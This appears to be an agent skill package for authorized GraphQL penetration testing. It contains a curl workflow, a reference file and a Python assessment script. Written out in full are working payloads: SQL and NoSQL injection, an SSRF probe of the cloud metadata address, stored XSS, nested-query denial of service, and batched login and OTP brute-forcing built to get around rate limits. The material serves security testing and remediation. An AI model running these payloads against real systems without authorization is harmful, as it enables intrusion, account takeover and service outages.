npx skills add mukul975/Anthropic-Cybersecurity-SkillsMITRE ATT&CK
When to Use
- During authorized penetration tests when the target application uses a GraphQL API
- When assessing single-page applications (React, Vue, Angular) that communicate via GraphQL
- For evaluating mobile app backends that expose GraphQL endpoints
- When testing microservice architectures with a GraphQL gateway or federation
- During bug bounty programs targeting GraphQL-based APIs
Prerequisites
- Authorization: Written penetration testing agreement for the target
- Burp Suite Professional: With InQL extension for GraphQL scanning
- GraphQL Voyager: Schema visualization tool
- InQL Scanner: Burp extension for GraphQL introspection and query generation
- Altair GraphQL Client: Desktop GraphQL client for interactive testing
- clairvoyance: GraphQL schema enumeration when introspection is disabled
- curl: For manual GraphQL query submission
Workflow
Step 1: Discover and Fingerprint GraphQL Endpoints
Locate GraphQL endpoints and confirm GraphQL is running.
# Common GraphQL endpoint paths
for path in graphql graphiql playground query gql api/graphql \
v1/graphql v2/graphql graphql/console; do
status=$(curl -s -o /dev/null -w "%{http_code}" \
-X POST -H "Content-Type: application/json" \
-d '{"query":"{__typename}"}' \
"https://target.example.com/$path")
echo "$path: $status"
done
# Check for GraphQL IDEs (GraphiQL, Playground)
curl -s "https://target.example.com/graphiql" | grep -i "graphiql"
curl -s "https://target.example.com/graphql/playground" | grep -i "playground"
# Fingerprint GraphQL engine
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"query":"{__typename}"}' \
"https://target.example.com/graphql"
# Response varies by engine: Apollo returns "Query", Hasura returns "query_root"
# Check for WebSocket GraphQL subscriptions
# ws://target.example.com/graphql (or wss://)Step 2: Perform Schema Introspection
Extract the full GraphQL schema to understand the API surface.
# Full introspection query
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"query":"{ __schema { types { name kind fields { name type { name kind ofType { name kind } } } } mutationType { fields { name } } queryType { fields { name } } subscriptionType { fields { name } } } }"}' \
"https://target.example.com/graphql" | jq .
# Comprehensive introspection query
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"query":"query IntrospectionQuery{__schema{queryType{name}mutationType{name}subscriptionType{name}types{...FullType}directives{name description locations args{...InputValue}}}}fragment FullType on __Type{kind name description fields(includeDeprecated:true){name description args{...InputValue}type{...TypeRef}isDeprecated deprecationReason}inputFields{...InputValue}interfaces{...TypeRef}enumValues(includeDeprecated:true){name description isDeprecated deprecationReason}possibleTypes{...TypeRef}}fragment InputValue on __InputValue{name description type{...TypeRef}defaultValue}fragment TypeRef on __Type{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name}}}}}}}"}' \
"https://target.example.com/graphql" | jq . > schema.json
# If introspection is disabled, use clairvoyance for schema enumeration
python3 -m clairvoyance \
-u "https://target.example.com/graphql" \
-w /usr/share/seclists/Discovery/Web-Content/graphql-field-names.txt \
-o discovered-schema.json
# Visualize the schema using GraphQL Voyager
# Upload schema.json to https://graphql-kit.com/graphql-voyager/Step 3: Test Authorization on Queries and Mutations
Verify that access control is enforced at the field and object level.
# Test querying all users (should require admin)
curl -s -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $USER_TOKEN" \
-d '{"query":"{ users { id email role passwordHash } }"}' \
"https://target.example.com/graphql" | jq .
# Test accessing sensitive fields on own user
curl -s -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $USER_TOKEN" \
-d '{"query":"{ user(id: 1) { id email ssn creditCard internalNotes } }"}' \
"https://target.example.com/graphql" | jq .
# Test mutation authorization (admin-only actions with user token)
curl -s -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $USER_TOKEN" \
-d '{"query":"mutation { deleteUser(id: 2) { success } }"}' \
"https://target.example.com/graphql" | jq .
curl -s -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $USER_TOKEN" \
-d '{"query":"mutation { updateUserRole(userId: 1, role: ADMIN) { id role } }"}' \
"https://target.example.com/graphql" | jq .
# Test without any authentication
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"query":"{ users { id email } }"}' \
"https://target.example.com/graphql" | jq .Step 4: Test for Injection Vulnerabilities
Assess GraphQL queries for SQL injection, NoSQL injection, and other injection types.
# SQL injection in GraphQL arguments
curl -s -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
-d '{"query":"{ user(name: \"admin\\\" OR 1=1--\") { id email } }"}' \
"https://target.example.com/graphql" | jq .
# NoSQL injection (MongoDB)
curl -s -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
-d '{"query":"{ users(filter: {email: {$ne: \"\"}}) { id email } }"}' \
"https://target.example.com/graphql" | jq .
# Test for SSRF via GraphQL
curl -s -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
-d '{"query":"mutation { importData(url: \"http://169.254.169.254/latest/meta-data/\") { result } }"}' \
"https://target.example.com/graphql" | jq .
# Test for stored XSS via mutations
curl -s -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
-d '{"query":"mutation { updateProfile(bio: \"<script>alert(1)</script>\") { id bio } }"}' \
"https://target.example.com/graphql" | jq .
# GraphQL directive injection
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"query":"{ user(id: 1) { email @deprecated } }"}' \
"https://target.example.com/graphql" | jq .Step 5: Test for Denial of Service Attacks
Assess query complexity limits and resource consumption controls.
# Deep nesting attack (query depth)
curl -s -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
-d '{"query":"{ users { friends { friends { friends { friends { friends { friends { friends { name } } } } } } } } }"}' \
"https://target.example.com/graphql" | jq .
# Width attack (requesting many fields)
curl -s -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
-d '{"query":"{ u1: user(id:1){email} u2: user(id:2){email} u3: user(id:3){email} u4: user(id:4){email} u5: user(id:5){email} u6: user(id:6){email} u7: user(id:7){email} u8: user(id:8){email} u9: user(id:9){email} u10: user(id:10){email} }"}' \
"https://target.example.com/graphql" | jq .
# Batch query attack
curl -s -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
-d '[{"query":"{ user(id:1){email} }"},{"query":"{ user(id:2){email} }"},{"query":"{ user(id:3){email} }"},{"query":"{ user(id:4){email} }"},{"query":"{ user(id:5){email} }"}]' \
"https://target.example.com/graphql" | jq .
# Fragment-based circular reference
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"query":"{ users { ...A } } fragment A on User { friends { ...B } } fragment B on User { friends { ...A } }"}' \
"https://target.example.com/graphql" | jq .
# Test for unbounded pagination
curl -s -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
-d '{"query":"{ users(first: 1000000) { id email } }"}' \
"https://target.example.com/graphql" | jq '.data.users | length'Step 6: Test Batching for Authentication Bypass
Use query batching to brute-force credentials or bypass rate limiting.
# Batch login attempts to bypass rate limiting
curl -s -X POST \
-H "Content-Type: application/json" \
-d '[
{"query":"mutation{login(email:\"admin@target.com\",password:\"password1\"){token}}"},
{"query":"mutation{login(email:\"admin@target.com\",password:\"password2\"){token}}"},
{"query":"mutation{login(email:\"admin@target.com\",password:\"password3\"){token}}"},
{"query":"mutation{login(email:\"admin@target.com\",password:\"admin123\"){token}}"},
{"query":"mutation{login(email:\"admin@target.com\",password:\"letmein\"){token}}"}
]' \
"https://target.example.com/graphql" | jq .
# Batch OTP verification attempts
curl -s -X POST \
-H "Content-Type: application/json" \
-d '[
{"query":"mutation{verifyOTP(code:\"000000\"){success}}"},
{"query":"mutation{verifyOTP(code:\"000001\"){success}}"},
{"query":"mutation{verifyOTP(code:\"000002\"){success}}"},
{"query":"mutation{verifyOTP(code:\"000003\"){success}}"},
{"query":"mutation{verifyOTP(code:\"000004\"){success}}"}
]' \
"https://target.example.com/graphql" | jq .
# Alias-based batching (same operation, different aliases)
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"query":"mutation { a1:login(email:\"admin@test.com\",password:\"pass1\"){token} a2:login(email:\"admin@test.com\",password:\"pass2\"){token} a3:login(email:\"admin@test.com\",password:\"pass3\"){token} }"}' \
"https://target.example.com/graphql" | jq .Key Concepts
| Concept | Description |
|---|---|
| Introspection | GraphQL feature that exposes the full schema, types, fields, and mutations |
| Query Depth | The nesting level of a GraphQL query; deep queries can cause DoS |
| Query Complexity | A score calculated from the cost of resolving each field in a query |
| Batching | Sending multiple queries in a single HTTP request for parallel execution |
| Aliases | GraphQL feature allowing the same field to be queried multiple times with different arguments |
| Fragments | Reusable field selections that can cause circular references if not validated |
| N+1 Problem | Unoptimized resolvers causing exponential database queries for nested fields |
| Field-level Authorization | Access control applied to individual fields rather than entire types |
Tools & Systems
| Tool | Purpose |
|---|---|
| InQL (Burp Extension) | GraphQL introspection scanner and query generator for Burp Suite |
| GraphQL Voyager | Interactive schema visualization tool |
| Altair GraphQL Client | Desktop GraphQL IDE for crafting and testing queries |
| clairvoyance | Schema enumeration when introspection is disabled |
| graphql-cop | GraphQL security auditing tool (pip install graphql-cop) |
| BatchQL | GraphQL batching attack tool for rate limit bypass |
Common Scenarios
Scenario 1: Introspection Exposes Internal Schema
Introspection is enabled in production, revealing internal types like AdminSettings, InternalUser, and mutations like deleteAllUsers. This provides a complete roadmap for further attacks.
Scenario 2: Missing Field-Level Authorization
The User type exposes passwordHash, ssn, and internalNotes fields. While the frontend only queries name and email, any authenticated user can request sensitive fields directly.
Scenario 3: Batch Login Bypass
The GraphQL endpoint accepts batch queries. By sending 1000 login mutation attempts in a single HTTP request, an attacker bypasses IP-based rate limiting that only counts HTTP requests.
Scenario 4: Nested Query DoS
A social network API allows querying friends { friends { friends { ... } } } up to unlimited depth. A 10-level nested query causes the server to process millions of database queries, resulting in denial of service.
Output Format
## GraphQL Security Assessment Report
**Target**: https://target.example.com/graphql
**Engine**: Apollo Server 4.x
**Assessment Date**: 2024-01-15
### Findings Summary
| Finding | Severity | Status |
|---------|----------|--------|
| Introspection enabled in production | Medium | VULNERABLE |
| Missing field-level authorization | High | VULNERABLE |
| No query depth limit | High | VULNERABLE |
| Batch query rate limit bypass | High | VULNERABLE |
| GraphiQL IDE exposed | Low | VULNERABLE |
| SQL injection in user query | Critical | VULNERABLE |
| CSRF on mutations | Medium | PASS (custom header required) |
### Critical: SQL Injection via user Query
**Location**: `user(name: String)` query argument
**Payload**: `{ user(name: "' OR 1=1--") { id email role } }`
**Impact**: Full database read access via GraphQL interface
### High: Batch Authentication Bypass
**Location**: POST /graphql (array body)
**Payload**: Array of 100 login mutations in single request
**Impact**: Rate limiting bypassed; 100 password attempts per HTTP request
### Recommendation
1. Disable introspection in production environments
2. Implement field-level authorization on all sensitive fields
3. Set query depth limit (max 7-10 levels)
4. Set query complexity limit and cost analysis
5. Disable or rate-limit batch queries
6. Remove GraphiQL/Playground from production
7. Parameterize all database queries in resolversReferences and resources
Everything below is rendered for inspection. Script files are read-only and never run.
References 1
api-reference.md1.4 KB
API Reference: GraphQL Security Assessment
GraphQL Introspection Query
{
__schema {
queryType { name }
mutationType { name }
types { name kind fields { name type { name kind } } }
}
}Security Test Endpoints
| Test | Query | Expected Secure Response |
|---|---|---|
| Introspection | { __schema { types { name } } } |
Error: introspection disabled |
| Depth limit | Nested { users { friends { ... } } } |
Error: max depth exceeded |
| Batch queries | [{query: "..."}, {query: "..."}] |
Error or single-query only |
| Aliases | { a1: __typename a2: __typename ... } |
Error: alias limit exceeded |
Python Libraries
| Library | Version | Purpose |
|---|---|---|
requests |
>=2.28 | HTTP client for GraphQL POST requests |
gql |
>=3.4 | Python GraphQL client with transport support |
graphql-cop CLI
pip install graphql-cop
graphql-cop -t https://target.example.com/graphqlclairvoyance (Schema Enumeration)
python3 -m clairvoyance -u <url> -w <wordlist> -o schema.jsonReferences
- GraphQL specification: https://spec.graphql.org/
- InQL Burp extension: https://github.com/doyensec/inql
- clairvoyance: https://github.com/nikitastupin/clairvoyance
- graphql-cop: https://github.com/dolevf/graphql-cop
- CSP Evaluator: https://csp-evaluator.withgoogle.com/
Scripts 1
agent.py7.6 KB
#!/usr/bin/env python3
"""Agent for performing GraphQL security assessment.
Tests GraphQL endpoints for introspection leaks, authorization flaws,
query depth/complexity DoS, and injection vulnerabilities.
"""
import requests
import json
import sys
class GraphQLSecurityAgent:
"""Performs authorized security assessments on GraphQL endpoints."""
def __init__(self, target_url, auth_token=None):
self.target_url = target_url
self.session = requests.Session()
self.session.headers.update({"Content-Type": "application/json"})
if auth_token:
self.session.headers["Authorization"] = f"Bearer {auth_token}"
def _query(self, query, variables=None):
"""Send a GraphQL query and return the response."""
payload = {"query": query}
if variables:
payload["variables"] = variables
try:
resp = self.session.post(self.target_url, json=payload, timeout=10)
return {"status": resp.status_code, "body": resp.json()}
except requests.RequestException as e:
return {"status": 0, "error": str(e)}
def test_introspection(self):
"""Test if introspection is enabled in production."""
query = """{
__schema {
queryType { name }
mutationType { name }
types { name kind }
}
}"""
result = self._query(query)
has_schema = "data" in result.get("body", {}) and "__schema" in result.get("body", {}).get("data", {})
types = []
if has_schema:
types = [t["name"] for t in result["body"]["data"]["__schema"].get("types", [])
if not t["name"].startswith("__")]
return {
"vulnerable": has_schema,
"severity": "Medium",
"finding": "Introspection enabled" if has_schema else "Introspection disabled",
"types_exposed": len(types),
"type_names": types[:20],
}
def test_query_depth(self, max_depth=10):
"""Test for query depth limiting."""
nested = "{ __typename }"
for i in range(max_depth):
nested = f"{{ users {nested} }}"
query = nested
result = self._query(query)
has_error = "errors" in result.get("body", {})
return {
"vulnerable": not has_error,
"severity": "High" if not has_error else "Info",
"depth_tested": max_depth,
"finding": "No query depth limit" if not has_error else "Query depth limited",
}
def test_batch_queries(self):
"""Test if batch queries are accepted (rate limit bypass risk)."""
batch = [
{"query": "{ __typename }"},
{"query": "{ __typename }"},
{"query": "{ __typename }"},
]
try:
resp = self.session.post(self.target_url, json=batch, timeout=10)
body = resp.json()
is_array = isinstance(body, list)
return {
"vulnerable": is_array,
"severity": "High" if is_array else "Info",
"finding": "Batch queries accepted" if is_array else "Batch queries rejected",
"response_count": len(body) if is_array else 0,
}
except Exception as e:
return {"vulnerable": False, "error": str(e)}
def test_field_suggestions(self):
"""Test if field suggestions leak schema information."""
query = "{ userzzzz }"
result = self._query(query)
errors = result.get("body", {}).get("errors", [])
suggestions = []
for err in errors:
msg = err.get("message", "")
if "did you mean" in msg.lower() or "suggest" in msg.lower():
suggestions.append(msg)
return {
"vulnerable": len(suggestions) > 0,
"severity": "Low",
"finding": "Field suggestions enabled" if suggestions else "No field suggestions",
"suggestions": suggestions,
}
def test_unauthorized_access(self):
"""Test queries without authentication token."""
saved_auth = self.session.headers.pop("Authorization", None)
queries = [
("{ __typename }", "basic_access"),
("{ users { id email } }", "user_listing"),
('{ user(id: "1") { id email role } }', "user_detail"),
]
results = []
for query, test_name in queries:
result = self._query(query)
has_data = "data" in result.get("body", {})
has_null_data = has_data and all(
v is None for v in result["body"]["data"].values()
) if has_data else False
results.append({
"test": test_name,
"accessible": has_data and not has_null_data,
"status": result.get("status"),
})
if saved_auth:
self.session.headers["Authorization"] = saved_auth
accessible_count = sum(1 for r in results if r["accessible"])
return {
"vulnerable": accessible_count > 0,
"severity": "High" if accessible_count > 0 else "Info",
"finding": f"{accessible_count} queries accessible without auth",
"details": results,
}
def test_alias_overloading(self, count=50):
"""Test for alias-based resource exhaustion."""
aliases = " ".join(f'a{i}: __typename' for i in range(count))
query = f"{{ {aliases} }}"
result = self._query(query)
has_error = "errors" in result.get("body", {})
return {
"vulnerable": not has_error,
"severity": "Medium" if not has_error else "Info",
"aliases_tested": count,
"finding": f"Accepted {count} aliases" if not has_error else "Alias limit enforced",
}
def run_full_assessment(self):
"""Run all security tests and generate a report."""
report = {
"target": self.target_url,
"findings": [],
}
tests = [
("Introspection", self.test_introspection),
("Query Depth", self.test_query_depth),
("Batch Queries", self.test_batch_queries),
("Field Suggestions", self.test_field_suggestions),
("Unauthorized Access", self.test_unauthorized_access),
("Alias Overloading", self.test_alias_overloading),
]
for test_name, test_fn in tests:
result = test_fn()
result["test_name"] = test_name
report["findings"].append(result)
vulnerable_count = sum(1 for f in report["findings"] if f.get("vulnerable"))
report["summary"] = {
"total_tests": len(report["findings"]),
"vulnerabilities_found": vulnerable_count,
"critical": sum(1 for f in report["findings"] if f.get("severity") == "Critical" and f.get("vulnerable")),
"high": sum(1 for f in report["findings"] if f.get("severity") == "High" and f.get("vulnerable")),
"medium": sum(1 for f in report["findings"] if f.get("severity") == "Medium" and f.get("vulnerable")),
"low": sum(1 for f in report["findings"] if f.get("severity") == "Low" and f.get("vulnerable")),
}
return report
def main():
if len(sys.argv) < 2:
print("Usage: agent.py <graphql_url> [auth_token]")
sys.exit(1)
target_url = sys.argv[1]
auth_token = sys.argv[2] if len(sys.argv) > 2 else None
agent = GraphQLSecurityAgent(target_url, auth_token)
report = agent.run_full_assessment()
print(json.dumps(report, indent=2))
if __name__ == "__main__":
main()